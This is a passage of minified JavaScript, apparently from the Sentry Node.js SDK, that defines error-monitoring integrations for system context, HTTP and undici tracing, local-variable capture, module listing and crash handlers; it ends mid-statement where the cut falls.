bsq=CA("child_process"),jv8=CA("fs"),BE=CA("os"),xsq=CA("path"),Mv8=CA("util"),Pv8=sq(),Vv8=Mv8.promisify(jv8.readFile),fv8=Mv8.promisify(jv8.readdir),Nv8="Context",usq=(A={})=>{let K,q={app:!0,os:!0,device:!0,culture:!0,cloudResource:!0,...A};async function Y(w){if(K===void 0)K=z();let H=msq(await K);return w.contexts={...w.contexts,app:{...H.app,...H6A([w,"access",(J)=>J.contexts,"optionalAccess",(J)=>J.app])},os:{...H.os,...H6A([w,"access",(J)=>J.contexts,"optionalAccess",(J)=>J.os])},device:{...H.device,...H6A([w,"access",(J)=>J.contexts,"optionalAccess",(J)=>J.device])},culture:{...H.culture,...H6A([w,"access",(J)=>J.contexts,"optionalAccess",(J)=>J.culture])},cloud_resource:{...H.cloud_resource,...H6A([w,"access",(J)=>J.contexts,"optionalAccess",(J)=>J.cloud_resource])}},w}async function z(){let w={};if(q.os)w.os=await gsq();if(q.app)w.app=Qsq();if(q.device)w.device=vv8(q.device);if(q.culture){let H=Fsq();if(H)w.culture=H}if(q.cloudResource)w.cloud_resource=isq();return w}return{name:Nv8,setupOnce(){},processEvent(w){return Y(w)}}},Tv8=Pv8.defineIntegration(usq),Bsq=Pv8.convertIntegrationFnToClass(Nv8,Tv8);function msq(A){if(H6A([A,"optionalAccess",(K)=>K.app,"optionalAccess",(K)=>K.app_memory]))A.app.app_memory=process.memoryUsage().rss;if(H6A([A,"optionalAccess",(K)=>K.device,"optionalAccess",(K)=>K.free_memory]))A.device.free_memory=BE.freemem();return A}async function gsq(){let A=BE.platform();switch(A){case"darwin":return csq();case"linux":return lsq();default:return{name:Usq[A]||A,version:BE.release()}}}function Fsq(){try{if(typeof process.versions.icu!=="string")return;let A=new Date(900000000);if(new Intl.DateTimeFormat("es",{month:"long"}).format(A)==="enero"){let q=Intl.DateTimeFormat().resolvedOptions();return{locale:q.locale,timezone:q.timeZone}}}catch(A){}return}function Qsq(){let A=process.memoryUsage().rss;return{app_start_time:new Date(Date.now()-process.uptime()*1000).toISOString(),app_memory:A}}function vv8(A){let K={},q;try{q=BE.uptime&&BE.uptime()}catch(Y){}if(typeof q==="number")K.boot_time=new Date(Date.now()-q*1000).toISOString();if(K.arch=BE.arch(),A===!0||A.memory)K.memory_size=BE.totalmem(),K.free_memory=BE.freemem();if(A===!0||A.cpu){let Y=BE.cpus();if(Y&&Y.length){let z=Y[0];K.processor_count=Y.length,K.cpu_description=z.model,K.processor_frequency=z.speed}}return K}var Usq={aix:"IBM AIX",freebsd:"FreeBSD",openbsd:"OpenBSD",sunos:"SunOS",win32:"Windows"},psq=[{name:"fedora-release",distros:["Fedora"]},{name:"redhat-release",distros:["Red Hat Linux","Centos"]},{name:"redhat_version",distros:["Red Hat Linux"]},{name:"SuSE-release",distros:["SUSE Linux"]},{name:"lsb-release",distros:["Ubuntu Linux","Arch Linux"]},{name:"debian_version",distros:["Debian"]},{name:"debian_release",distros:["Debian"]},{name:"arch-release",distros:["Arch Linux"]},{name:"gentoo-release",distros:["Gentoo Linux"]},{name:"novell-release",distros:["SUSE Linux"]},{name:"alpine-release",distros:["Alpine Linux"]}],dsq={alpine:(A)=>A,arch:(A)=>fb(/distrib_release=(.*)/,A),centos:(A)=>fb(/release ([^ ]+)/,A),debian:(A)=>A,fedora:(A)=>fb(/release (..)/,A),mint:(A)=>fb(/distrib_release=(.*)/,A),red:(A)=>fb(/release ([^ ]+)/,A),suse:(A)=>fb(/VERSION = (.*)\n/,A),ubuntu:(A)=>fb(/distrib_release=(.*)/,A)};function fb(A,K){let q=A.exec(K);return q?q[1]:void 0}async function csq(){let A={kernel_version:BE.release(),name:"Mac OS X",version:`10.${Number(BE.release().split(".")[0])-4}`};try{let K=await new Promise((q,Y)=>{bsq.execFile("/usr/bin/sw_vers",(z,w)=>{if(z){Y(z);return}q(w)})});A.name=fb(/^ProductName:\s+(.*)$/m,K),A.version=fb(/^ProductVersion:\s+(.*)$/m,K),A.build=fb(/^BuildVersion:\s+(.*)$/m,K)}catch(K){}return A}function Dv8(A){return A.split(" ")[0].toLowerCase()}async function lsq(){let A={kernel_version:BE.release(),name:"Linux"};try{let K=await fv8("/etc"),q=psq.find((J)=>K.includes(J.name));if(!q)return A;let Y=xsq.join("/etc",q.name),z=(await Vv8(Y,{encoding:"utf-8"})).toLowerCase(),{distros:w}=q;A.name=w.find((J)=>z.indexOf(Dv8(J))>=0)||w[0];let H=Dv8(A.name);A.version=dsq[H](z)}catch(K){}return A}function isq(){if(process.env.VERCEL)return{"cloud.provider":"vercel","cloud.region":process.env.VERCEL_REGION};else if(process.env.AWS_REGION)return{"cloud.provider":"aws","cloud.region":process.env.AWS_REGION,"cloud.platform":process.env.AWS_EXECUTION_ENV};else if(process.env.GCP_PROJECT)return{"cloud.provider":"gcp"};else if(process.env.ALIYUN_REGION_ID)return{"cloud.provider":"alibaba_cloud","cloud.region":process.env.ALIYUN_REGION_ID};else if(process.env.WEBSITE_SITE_NAME&&process.env.REGION_NAME)return{"cloud.provider":"azure","cloud.region":process.env.REGION_NAME};else if(process.env.IBM_CLOUD_REGION)return{"cloud.provider":"ibm_cloud","cloud.region":process.env.IBM_CLOUD_REGION};else if(process.env.TENCENTCLOUD_REGION)return{"cloud.provider":"tencent_cloud","cloud.region":process.env.TENCENTCLOUD_REGION,"cloud.account.id":process.env.TENCENTCLOUD_APPID,"cloud.availability_zone":process.env.TENCENTCLOUD_ZONE};else if(process.env.NETLIFY)return{"cloud.provider":"netlify"};else if(process.env.FLY_REGION)return{"cloud.provider":"fly.io","cloud.region":process.env.FLY_REGION};else if(process.env.DYNO)return{"cloud.provider":"heroku"};else return}Ev8.Context=Bsq;Ev8.getDeviceContext=vv8;Ev8.nodeContextIntegration=Tv8;Ev8.readDirAsync=fv8;Ev8.readFileAsync=Vv8});var BtA=v((yv8)=>{var{_optionalChain:ym1}=H8();Object.defineProperty(yv8,"__esModule",{value:!0});var tsq=CA("fs"),kv8=sq(),Cv8=H8(),utA=new Cv8.LRUMap(100),esq=7,Lv8="ContextLines";function Atq(A){return new Promise((K,q)=>{tsq.readFile(A,"utf8",(Y,z)=>{if(Y)q(Y);else K(z)})})}var Ktq=(A={})=>{let K=A.frameContextLines!==void 0?A.frameContextLines:esq;return{name:Lv8,setupOnce(){},processEvent(q){return Ytq(q,K)}}},Rv8=kv8.defineIntegration(Ktq),qtq=kv8.convertIntegrationFnToClass(Lv8,Rv8);async function Ytq(A,K){let q={},Y=[];if(K>0&&ym1([A,"access",(z)=>z.exception,"optionalAccess",(z)=>z.values]))for(let z of A.exception.values){if(!ym1([z,"access",(w)=>w.stacktrace,"optionalAccess",(w)=>w.frames]))continue;for(let w=z.stacktrace.frames.length-1;w>=0;w--){let H=z.stacktrace.frames[w];if(H.filename&&!q[H.filename]&&!utA.get(H.filename))Y.push(wtq(H.filename)),q[H.filename]=1}}if(Y.length>0)await Promise.all(Y);if(K>0&&ym1([A,"access",(z)=>z.exception,"optionalAccess",(z)=>z.values])){for(let z of A.exception.values)if(z.stacktrace&&z.stacktrace.frames)await ztq(z.stacktrace.frames,K)}return A}function ztq(A,K){for(let q of A)if(q.filename&&q.context_line===void 0){let Y=utA.get(q.filename);if(Y)try{Cv8.addContextToFrame(Y,q,K)}catch(z){}}}async function wtq(A){let K=utA.get(A);if(K===null)return null;if(K!==void 0)return K;let q=null;try{q=(await Atq(A)).split(` `)}catch(Y){}return utA.set(A,q),q}yv8.ContextLines=qtq;yv8.contextLinesIntegration=Rv8});var nvA=v((Iv8)=>{Object.defineProperty(Iv8,"__esModule",{value:!0});var Otq=typeof __SENTRY_DEBUG__>"u"||__SENTRY_DEBUG__;Iv8.DEBUG_BUILD=Otq});var xv8=v((bv8)=>{var{_optionalChain:Nb}=H8();Object.defineProperty(bv8,"__esModule",{value:!0});var Im1=CA("url"),$tq=z6A();function _tq(A){let{protocol:K,hostname:q,port:Y}=hv8(A),z=A.path?A.path:"/";return`${K}//${q}${Y}${z}`}function Sv8(A){let{protocol:K,hostname:q,port:Y}=hv8(A),z=A.pathname||"/",w=A.auth?Gtq(A.auth):"";return`${K}//${w}${q}${Y}${z}`}function Gtq(A){let[K,q]=A.split(":");return`${K?"[Filtered]":""}:${q?"[Filtered]":""}@`}function Ztq(A,K,q){if(!A)return A;let[Y,z]=A.split(" ");if(K.host&&!K.protocol)K.protocol=Nb([q,"optionalAccess",(w)=>w.agent,"optionalAccess",(w)=>w.protocol]),z=Sv8(K);if(Nb([z,"optionalAccess",(w)=>w.startsWith,"call",(w)=>w("///")]))z=z.slice(2);return`${Y} ${z}`}function Sm1(A){let K={protocol:A.protocol,hostname:typeof A.hostname==="string"&&A.hostname.startsWith("[")?A.hostname.slice(1,-1):A.hostname,hash:A.hash,search:A.search,pathname:A.pathname,path:`${A.pathname||""}${A.search||""}`,href:A.href};if(A.port!=="")K.port=Number(A.port);if(A.username||A.password)K.auth=`${A.username}:${A.password}`;return K}function Wtq(A,K){let q,Y;if(typeof K[K.length-1]==="function")q=K.pop();if(typeof K[0]==="string")Y=Sm1(new Im1.URL(K[0]));else if(K[0]instanceof Im1.URL)Y=Sm1(K[0]);else{Y=K[0];try{let z=new Im1.URL(Y.path||"",`${Y.protocol||"http:"}//${Y.hostname}`);Y={pathname:z.pathname,search:z.search,hash:z.hash,...Y}}catch(z){}}if(K.length===2)Y={...Y,...K[1]};if(Y.protocol===void 0)if($tq.NODE_VERSION.major>8)Y.protocol=Nb([Nb([A,"optionalAccess",(z)=>z.globalAgent]),"optionalAccess",(z)=>z.protocol])||Nb([Y.agent,"optionalAccess",(z)=>z.protocol])||Nb([Y._defaultAgent,"optionalAccess",(z)=>z.protocol]);else Y.protocol=Nb([Y.agent,"optionalAccess",(z)=>z.protocol])||Nb([Y._defaultAgent,"optionalAccess",(z)=>z.protocol])||Nb([Nb([A,"optionalAccess",(z)=>z.globalAgent]),"optionalAccess",(z)=>z.protocol]);if(q)return[Y,q];else return[Y]}function hv8(A){let K=A.protocol||"",q=A.hostname||A.host||"",Y=!A.port||A.port===80||A.port===443||/^(.*):(\d+)$/.test(q)?"":`:${A.port}`;return{protocol:K,hostname:q,port:Y}}bv8.cleanSpanDescription=Ztq;bv8.extractRawUrl=_tq;bv8.extractUrl=Sv8;bv8.normalizeRequestArgs=Wtq;bv8.urlToOptions=Sm1});var mtA=v((gv8)=>{var{_optionalChain:yHA}=H8();Object.defineProperty(gv8,"__esModule",{value:!0});var JD=sq(),lN=H8(),hm1=nvA(),ftq=z6A(),rvA=xv8(),Ntq=(A={})=>{let{breadcrumbs:K,tracing:q,shouldCreateSpanForRequest:Y}=A,z={breadcrumbs:K,tracing:q===!1?!1:lN.dropUndefinedKeys({enableIfHasTracingEnabled:q===!0?void 0:!0,shouldCreateSpanForRequest:Y})};return new J6A(z)},Ttq=JD.defineIntegration(Ntq);class J6A{static __initStatic(){this.id="Http"}__init(){this.name=J6A.id}constructor(A={}){J6A.prototype.__init.call(this),this._breadcrumbs=typeof A.breadcrumbs>"u"?!0:A.breadcrumbs,this._tracing=!A.tracing?void 0:A.tracing===!0?{}:A.tracing}setupOnce(A,K){let q=yHA([K,"call",(O)=>O(),"access",(O)=>O.getClient,"call",(O)=>O(),"optionalAccess",(O)=>O.getOptions,"call",(O)=>O()]),Y=Bv8(this._tracing,q);if(!this._breadcrumbs&&!Y)return;if(q&&q.instrumenter!=="sentry"){hm1.DEBUG_BUILD&&lN.logger.log("HTTP Integration is skipped because of instrumenter configuration.");return}let z=mv8(Y,this._tracing,q),w=yHA([q,"optionalAccess",(O)=>O.tracePropagationTargets])||yHA([this,"access",(O)=>O._tracing,"optionalAccess",(O)=>O.tracePropagationTargets]),H=CA("http"),J=uv8(H,this._breadcrumbs,z,w);if(lN.fill(H,"get",J),lN.fill(H,"request",J),ftq.NODE_VERSION.major>8){let O=CA("https"),X=uv8(O,this._breadcrumbs,z,w);lN.fill(O,"get",X),lN.fill(O,"request",X)}}}J6A.__initStatic();function uv8(A,K,q,Y){let z=new lN.LRUMap(100),w=new lN.LRUMap(100),H=(X)=>{if(q===void 0)return!0;let $=z.get(X);if($!==void 0)return $;let _=q(X);return z.set(X,_),_},J=(X)=>{if(Y===void 0)return!0;let $=w.get(X);if($!==void 0)return $;let _=lN.stringMatchesSomePattern(X,Y);return w.set(X,_),_};function O(X,$,_,G){if(!JD.getCurrentHub().getIntegration(J6A))return;JD.addBreadcrumb({category:"http",data:{status_code:G&&G.statusCode,...$},type:"http"},{event:X,request:_,response:G})}return function($){return function(...G){let Z=rvA.normalizeRequestArgs(A,G),W=Z[0],D=rvA.extractRawUrl(W),j=rvA.extractUrl(W),M=JD.getClient();if(JD.isSentryRequestUrl(j,M))return $.apply(A,Z);let P=JD.getCurrentScope(),f=JD.getIsolationScope(),N=JD.getActiveSpan(),T=Etq(j,W),C=H(D)?yHA([N,"optionalAccess",(R)=>R.startChild,"call",(R)=>R({op:"http.client",origin:"auto.http.node.http",description:`${T["http.method"]} ${T.url}`,data:T})]):void 0;if(M&&J(D)){let{traceId:R,spanId:x,sampled:y,dsc:B}={...f.getPropagationContext(),...P.getPropagationContext()},b=C?JD.spanToTraceHeader(C):lN.generateSentryTraceHeader(R,x,y),F=lN.dynamicSamplingContextToSentryBaggageHeader(B||(C?JD.getDynamicSamplingContextFromSpan(C):JD.getDynamicSamplingContextFromClient(R,M,P)));vtq(W,j,b,F)}else hm1.DEBUG_BUILD&&lN.logger.log(`[Tracing] Not adding sentry-trace header to outgoing request (${j}) due to mismatching tracePropagationTargets option.`);return $.apply(A,Z).once("response",function(R){let x=this;if(K)O("response",T,x,R);if(C){if(R.statusCode)JD.setHttpStatus(C,R.statusCode);C.updateName(rvA.cleanSpanDescription(JD.spanToJSON(C).description||"",W,x)||""),C.end()}}).once("error",function(){let R=this;if(K)O("error",T,R);if(C)JD.setHttpStatus(C,500),C.updateName(rvA.cleanSpanDescription(JD.spanToJSON(C).description||"",W,R)||""),C.end()})}}}function vtq(A,K,q,Y){if((A.headers||{})["sentry-trace"])return;hm1.DEBUG_BUILD&&lN.logger.log(`[Tracing] Adding sentry-trace header ${q} to outgoing request to "${K}": `),A.headers={...A.headers,"sentry-trace":q,...Y&&Y.length>0&&{baggage:ktq(A,Y)}}}function Etq(A,K){let q=K.method||"GET",Y={url:A,"http.method":q};if(K.hash)Y["http.fragment"]=K.hash.substring(1);if(K.search)Y["http.query"]=K.search.substring(1);return Y}function ktq(A,K){if(!A.headers||!A.headers.baggage)return K;else if(!K)return A.headers.baggage;else if(Array.isArray(A.headers.baggage))return[...A.headers.baggage,K];return[A.headers.baggage,K]}function Bv8(A,K){return A===void 0?!1:A.enableIfHasTracingEnabled?JD.hasTracingEnabled(K):!0}function mv8(A,K,q){return A?yHA([K,"optionalAccess",(z)=>z.shouldCreateSpanForRequest])||yHA([q,"optionalAccess",(z)=>z.shouldCreateSpanForRequest]):()=>!1}gv8.Http=J6A;gv8._getShouldCreateSpanForRequest=mv8;gv8._shouldCreateSpans=Bv8;gv8.httpIntegration=Ttq});var Uv8=v((Qv8)=>{Object.defineProperty(Qv8,"__esModule",{value:!0});function Itq(A,K,q){let Y=0,z=5,w=0;return setInterval(()=>{if(w===0){if(Y>A){if(z*=2,q(z),z>86400)z=86400;w=z}}else if(w-=1,w===0)K();Y=0},1000).unref(),()=>{Y+=1}}function bm1(A){return A!==void 0&&(A.length===0||A==="?"||A==="<anonymous>")}function Stq(A,K){return A===K||bm1(A)&&bm1(K)}function Fv8(A){if(A===void 0)return;return A.slice(-10).reduce((K,q)=>`${K},${q.function},${q.lineno},${q.colno}`,"")}function htq(A,K){if(K===void 0)return;return Fv8(A(K,1))}Qv8.createRateLimiter=Itq;Qv8.functionNamesMatch=Stq;Qv8.hashFrames=Fv8;Qv8.hashFromStack=htq;Qv8.isAnonymous=bm1});var iv8=v((lv8)=>{var{_optionalChain:QO}=H8();Object.defineProperty(lv8,"__esModule",{value:!0});var xm1=sq(),gtA=H8(),gtq=z6A(),FtA=Uv8();function um1(A){let K=[],q=!1;function Y(H){if(K=[],q)return;q=!0,A(H)}K.push(Y);function z(H){K.push(H)}function w(H){let J=K.pop()||Y;try{J(H)}catch(O){Y(H)}}return{add:z,next:w}}class pv8{constructor(){let{Session:A}=CA("inspector");this._session=new A}configureAndConnect(A,K){this._session.connect(),this._session.on("Debugger.paused",(q)=>{A(q,()=>{this._session.post("Debugger.resume")})}),this._session.post("Debugger.enable"),this._session.post("Debugger.setPauseOnExceptions",{state:K?"all":"uncaught"})}setPauseOnExceptions(A){this._session.post("Debugger.setPauseOnExceptions",{state:A?"all":"uncaught"})}getLocalVariables(A,K){this._getProperties(A,(q)=>{let{add:Y,next:z}=um1(K);for(let w of q)if(QO([w,"optionalAccess",(H)=>H.value,"optionalAccess",(H)=>H.objectId])&&QO([w,"optionalAccess",(H)=>H.value,"access",(H)=>H.className])==="Array"){let H=w.value.objectId;Y((J)=>this._unrollArray(H,w.name,J,z))}else if(QO([w,"optionalAccess",(H)=>H.value,"optionalAccess",(H)=>H.objectId])&&QO([w,"optionalAccess",(H)=>H.value,"optionalAccess",(H)=>H.className])==="Object"){let H=w.value.objectId;Y((J)=>this._unrollObject(H,w.name,J,z))}else if(QO([w,"optionalAccess",(H)=>H.value,"optionalAccess",(H)=>H.value])!=null||QO([w,"optionalAccess",(H)=>H.value,"optionalAccess",(H)=>H.description])!=null)Y((H)=>this._unrollOther(w,H,z));z({})})}_getProperties(A,K){this._session.post("Runtime.getProperties",{objectId:A,ownProperties:!0},(q,Y)=>{if(q)K([]);else K(Y.result)})}_unrollArray(A,K,q,Y){this._getProperties(A,(z)=>{q[K]=z.filter((w)=>w.name!=="length"&&!isNaN(parseInt(w.name,10))).sort((w,H)=>parseInt(w.name,10)-parseInt(H.name,10)).map((w)=>QO([w,"optionalAccess",(H)=>H.value,"optionalAccess",(H)=>H.value])),Y(q)})}_unrollObject(A,K,q,Y){this._getProperties(A,(z)=>{q[K]=z.map((w)=>[w.name,QO([w,"optionalAccess",(H)=>H.value,"optionalAccess",(H)=>H.value])]).reduce((w,[H,J])=>{return w[H]=J,w},{}),Y(q)})}_unrollOther(A,K,q){if(QO([A,"optionalAccess",(Y)=>Y.value,"optionalAccess",(Y)=>Y.value])!=null)K[A.name]=A.value.value;else if(QO([A,"optionalAccess",(Y)=>Y.value,"optionalAccess",(Y)=>Y.description])!=null&&QO([A,"optionalAccess",(Y)=>Y.value,"optionalAccess",(Y)=>Y.type])!=="function")K[A.name]=`<${A.value.description}>`;q(K)}}function Ftq(){try{return new pv8}catch(A){return}}var dv8="LocalVariables",Qtq=(A={},K=Ftq())=>{let q=new gtA.LRUMap(20),Y,z=!1;function w(O,{params:{reason:X,data:$,callFrames:_}},G){if(X!=="exception"&&X!=="promiseRejection"){G();return}QO([Y,"optionalCall",(j)=>j()]);let Z=FtA.hashFromStack(O,QO([$,"optionalAccess",(j)=>j.description]));if(Z==null){G();return}let{add:W,next:D}=um1((j)=>{q.set(Z,j),G()});for(let j=0;j<Math.min(_.length,5);j++){let{scopeChain:M,functionName:P,this:f}=_[j],N=M.find((C)=>C.type==="local"),T=f.className==="global"||!f.className?P:`${f.className}.${P}`;if(QO([N,"optionalAccess",(C)=>C.object,"access",(C)=>C.objectId])===void 0)W((C)=>{C[j]={function:T},D(C)});else{let C=N.object.objectId;W((R)=>QO([K,"optionalAccess",(x)=>x.getLocalVariables,"call",(x)=>x(C,(y)=>{R[j]={function:T,vars:y},D(R)})]))}}D([])}function H(O){let X=FtA.hashFrames(QO([O,"optionalAccess",(G)=>G.stacktrace,"optionalAccess",(G)=>G.frames]));if(X===void 0)return;let $=q.remove(X);if($===void 0)return;let _=(QO([O,"access",(G)=>G.stacktrace,"optionalAccess",(G)=>G.frames])||[]).filter((G)=>G.function!=="new Promise");for(let G=0;G<_.length;G++){let Z=_.length-G-1;if(!_[Z]||!$[G])break;if($[G].vars===void 0||_[Z].in_app===!1||!FtA.functionNamesMatch(_[Z].function,$[G].function))continue;_[Z].vars=$[G].vars}}function J(O){for(let X of QO([O,"optionalAccess",($)=>$.exception,"optionalAccess",($)=>$.values])||[])H(X);return O}return{name:dv8,setupOnce(){let O=xm1.getClient(),X=QO([O,"optionalAccess",($)=>$.getOptions,"call",($)=>$()]);if(K&&QO([X,"optionalAccess",($)=>$.includeLocalVariables])){if(gtq.NODE_VERSION.major<18){gtA.logger.log("The `LocalVariables` integration is only supported on Node >= v18.");return}let _=A.captureAllExceptions!==!1;if(K.configureAndConnect((G,Z)=>w(X.stackParser,G,Z),_),_){let G=A.maxExceptionsPerSecond||50;Y=FtA.createRateLimiter(G,()=>{gtA.logger.log("Local variables rate-limit lifted."),QO([K,"optionalAccess",(Z)=>Z.setPauseOnExceptions,"call",(Z)=>Z(!0)])},(Z)=>{gtA.logger.log(`Local variables rate-limit exceeded. Disabling capturing of caught exceptions for ${Z} seconds.`),QO([K,"optionalAccess",(W)=>W.setPauseOnExceptions,"call",(W)=>W(!1)])})}z=!0}},processEvent(O){if(z)return J(O);return O},_getCachedFramesCount(){return q.size},_getFirstCachedFrame(){return q.values()[0]}}},cv8=xm1.defineIntegration(Qtq),Utq=xm1.convertIntegrationFnToClass(dv8,cv8);lv8.LocalVariablesSync=Utq;lv8.createCallbackList=um1;lv8.localVariablesSyncIntegration=cv8});var QtA=v((rv8)=>{Object.defineProperty(rv8,"__esModule",{value:!0});var nv8=iv8(),ltq=nv8.LocalVariablesSync,itq=nv8.localVariablesSyncIntegration;rv8.LocalVariables=ltq;rv8.localVariablesIntegration=itq});var UtA=v((AE8)=>{Object.defineProperty(AE8,"__esModule",{value:!0});var ov8=CA("fs"),av8=CA("path"),sv8=sq(),Bm1,tv8="Modules";function otq(){try{return CA.cache?Object.keys(CA.cache):[]}catch(A){return[]}}function atq(){let A=CA.main&&CA.main.paths||[],K=otq(),q={},Y={};return K.forEach((z)=>{let w=z,H=()=>{let J=w;if(w=av8.dirname(J),!w||J===w||Y[J])return;if(A.indexOf(w)<0)return H();let O=av8.join(J,"package.json");if(Y[J]=!0,!ov8.existsSync(O))return H();try{let X=JSON.parse(ov8.readFileSync(O,"utf8"));q[X.name]=X.version}catch(X){}};H()}),q}function stq(){if(!Bm1)Bm1=atq();return Bm1}var ttq=()=>{return{name:tv8,setupOnce(){},processEvent(A){return A.modules={...A.modules,...stq()},A}}},ev8=sv8.defineIntegration(ttq),etq=sv8.convertIntegrationFnToClass(tv8,ev8);AE8.Modules=etq;AE8.modulesIntegration=ev8});var gm1=v((KE8)=>{Object.defineProperty(KE8,"__esModule",{value:!0});var qeq=sq(),ptA=H8(),mm1=nvA(),Yeq=2000;function zeq(A){ptA.consoleSandbox(()=>{console.error(A)});let K=qeq.getClient();if(K===void 0)mm1.DEBUG_BUILD&&ptA.logger.warn("No NodeClient was defined, we are exiting the process now."),global.process.exit(1);let q=K.getOptions(),Y=q&&q.shutdownTimeout&&q.shutdownTimeout>0&&q.shutdownTimeout||Yeq;K.close(Y).then((z)=>{if(!z)mm1.DEBUG_BUILD&&ptA.logger.warn("We reached the timeout for emptying the request buffer, still exiting now!");global.process.exit(1)},(z)=>{mm1.DEBUG_BUILD&&ptA.logger.error(z)})}KE8.logAndExitProcess=zeq});var ctA=v((HE8)=>{Object.defineProperty(HE8,"__esModule",{value:!0});var dtA=sq(),Heq=H8(),Jeq=nvA(),qE8=gm1(),YE8="OnUncaughtException",Oeq=(A={})=>{let K={exitEvenIfOtherHandlersAreRegistered:!0,...A};return{name:YE8,setupOnce(){},setup(q){global.process.on("uncaughtException",wE8(q,K))}}},zE8=dtA.defineIntegration(Oeq),Xeq=dtA.convertIntegrationFnToClass(YE8,zE8);function wE8(A,K){let Y=!1,z=!1,w=!1,H,J=A.getOptions();return Object.assign((O)=>{let X=qE8.logAndExitProcess;if(K.onFatalError)X=K.onFatalError;else if(J.onFatalError)X=J.onFatalError;let _=global.process.listeners("uncaughtException").reduce((Z,W)=>{if(W.name==="domainUncaughtExceptionClear"||W.tag&&W.tag==="sentry_tracingErrorCallback"||W._errorHandler)return Z;else return Z+1},0)===0,G=K.exitEvenIfOtherHandlersAreRegistered||_;if(!Y){if(H=O,Y=!0,dtA.getClient()===A)dtA.captureException(O,{originalException:O,captureContext:{level:"fatal"},mechanism:{handled:!1,type:"onuncaughtexception"}});if(!w&&G)w=!0,X(O)}else if(G){if(w)Jeq.DEBUG_BUILD&&Heq.logger.warn("uncaught exception after calling fatal error shutdown callback - this is bad! forcing shutdown"),qE8.logAndExitProcess(O);else if(!z)z=!0,setTimeout(()=>{if(!w)w=!0,X(H,O)},2000)}},{_errorHandler:!0})}HE8.OnUncaughtException=Xeq;HE8.makeErrorHandler=wE8;HE8.onUncaughtExceptionIntegration=zE8});var itA=v((_E8)=>{Object.defineProperty(_E8,"__esModule",{value:!0});var ltA=sq(),JE8=H8(),Zeq=gm1(),OE8="OnUnhandledRejection",Weq=(A={})=>{let K=A.mode||"warn";return{name:OE8,setupOnce(){},setup(q){global.process.on("unhandledRejection",$E8(q,{mode:K}))}}},XE8=ltA.defineIntegration(Weq),Deq=ltA.convertIntegrationFnToClass(OE8,XE8);function $E8(A,K){return function(Y,z){if(ltA.getClient()!==A)return;ltA.captureException(Y,{originalException:z,captureContext:{extra:{unhandledPromiseRejection:!0}},mechanism:{handled:!1,type:"onunhandledrejection"}}),jeq(Y,K)}}function jeq(A,K){let q="This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). The promise rejected with the reason:";if(K.mode==="warn")JE8.consoleSandbox(()=>{console.warn(q),console.error(A&&A.stack?A.stack:A)});else if(K.mode==="strict")JE8.consoleSandbox(()=>{console.warn(q)}),Zeq.logAndExitProcess(A)}_E8.OnUnhandledRejection=Deq;_E8.makeUnhandledPromiseHandler=$E8;_E8.onUnhandledRejectionIntegration=XE8});var ntA=v((jE8)=>{Object.defineProperty(jE8,"__esModule",{value:!0});var feq=CA("http"),Neq=CA("url"),GE8=sq(),IHA=H8(),ZE8="Spotlight",Teq=(A={})=>{let K={sidecarUrl:A.sidecarUrl||"http://localhost:8969/stream"};return{name:ZE8,setupOnce(){},setup(q){if(typeof process==="object"&&process.env)IHA.logger.warn("[Spotlight] It seems you're not in dev mode. Do you really want to have Spotlight enabled?");Eeq(q,K)}}},WE8=GE8.defineIntegration(Teq),veq=GE8.convertIntegrationFnToClass(ZE8,WE8);function Eeq(A,K){let q=keq(K.sidecarUrl);if(!q)return;let Y=0;if(typeof A.on!=="function"){IHA.logger.warn("[Spotlight] Cannot connect to spotlight due to missing method on SDK client (`client.on`)");return}A.on("beforeEnvelope",(z)=>{if(Y>3){IHA.logger.warn("[Spotlight] Disabled Sentry -> Spotlight integration due to too many failed requests");return}let w=IHA.serializeEnvelope(z),J=DE8()({method:"POST",path:q.pathname,hostname:q.hostname,port:q.port,headers:{"Content-Type":"application/x-sentry-envelope"}},(O)=>{O.on("data",()=>{}),O.on("end",()=>{}),O.setEncoding("utf8")});J.on("error",()=>{Y++,IHA.logger.warn("[Spotlight] Failed to send envelope to Spotlight Sidecar")}),J.write(w),J.end()})}function keq(A){try{return new Neq.URL(`${A}`)}catch(K){IHA.logger.warn(`[Spotlight] Invalid sidecar URL: ${A}`);return}}function DE8(){let{request:A}=feq;if(Ceq(A))return A.__sentry_original__;return A}function Ceq(A){return"__sentry_original__"in A}jE8.Spotlight=veq;jE8.getNativeHttpRequest=DE8;jE8.spotlightIntegration=WE8});var otA=v((ME8)=>{var{_optionalChain:rtA}=H8();Object.defineProperty(ME8,"__esModule",{value:!0});var QX=sq(),O6A=H8(),Ieq=z6A();ME8.ChannelName=void 0;(function(A){A.RequestCreate="undici:request:create";let q="undici:request:headers";A.RequestEnd=q;let Y="undici:request:error";A.RequestError=Y})(ME8.ChannelName||(ME8.ChannelName={}));var Seq=(A)=>{return new JV(A)},heq=QX.defineIntegration(Seq);class JV{static __initStatic(){this.id="Undici"}__init(){this.name=JV.id}__init2(){this._createSpanUrlMap=new O6A.LRUMap(100)}__init3(){this._headersUrlMap=new O6A.LRUMap(100)}constructor(A={}){JV.prototype.__init.call(this),JV.prototype.__init2.call(this),JV.prototype.__init3.call(this),JV.prototype.__init4.call(this),JV.prototype.__init5.call(this),JV.prototype.__init6.call(this),this._options={breadcrumbs:A.breadcrumbs===void 0?!0:A.breadcrumbs,tracing:A.tracing,shouldCreateSpanForRequest:A.shouldCreateSpanForRequest}}setupOnce(A){if(Ieq.NODE_VERSION.major<16)return;let K;try{K=CA("diagnostics_channel")}catch(q){}if(!K||!K.subscribe)return;K.subscribe(ME8.ChannelName.RequestCreate,this._onRequestCreate),K.subscribe(ME8.ChannelName.RequestEnd,this._onRequestEnd),K.subscribe(ME8.ChannelName.RequestError,this._onRequestError)}_shouldCreateSpan(A){if(this._options.tracing===!1||this._options.tracing===void 0&&!QX.hasTracingEnabled())return!1;if(this._options.shouldCreateSpanForRequest===void 0)return!0;let K=this._createSpanUrlMap.get(A);if(K!==void 0)return K;let q=this._options.shouldCreateSpanForRequest(A);return this._createSpanUrlMap.set(A,q),q}__init4(){this._onRequestCreate=(A)=>{if(!rtA([QX.getClient,"call",($)=>$(),"optionalAccess",($)=>$.getIntegration,"call",($)=>$(JV)]))return;let{request:K}=A,q=K.origin?K.origin.toString()+K.path:K.path,Y=QX.getClient();if(!Y)return;if(QX.isSentryRequestUrl(q,Y)||K.__sentry_span__!==void 0)return;let z=Y.getOptions(),w=QX.getCurrentScope(),H=QX.getIsolationScope(),J=QX.getActiveSpan(),O=this._shouldCreateSpan(q)?xeq(J,K,q):void 0;if(O)K.__sentry_span__=O;if((($)=>{if(z.tracePropagationTargets===void 0)return!0;let 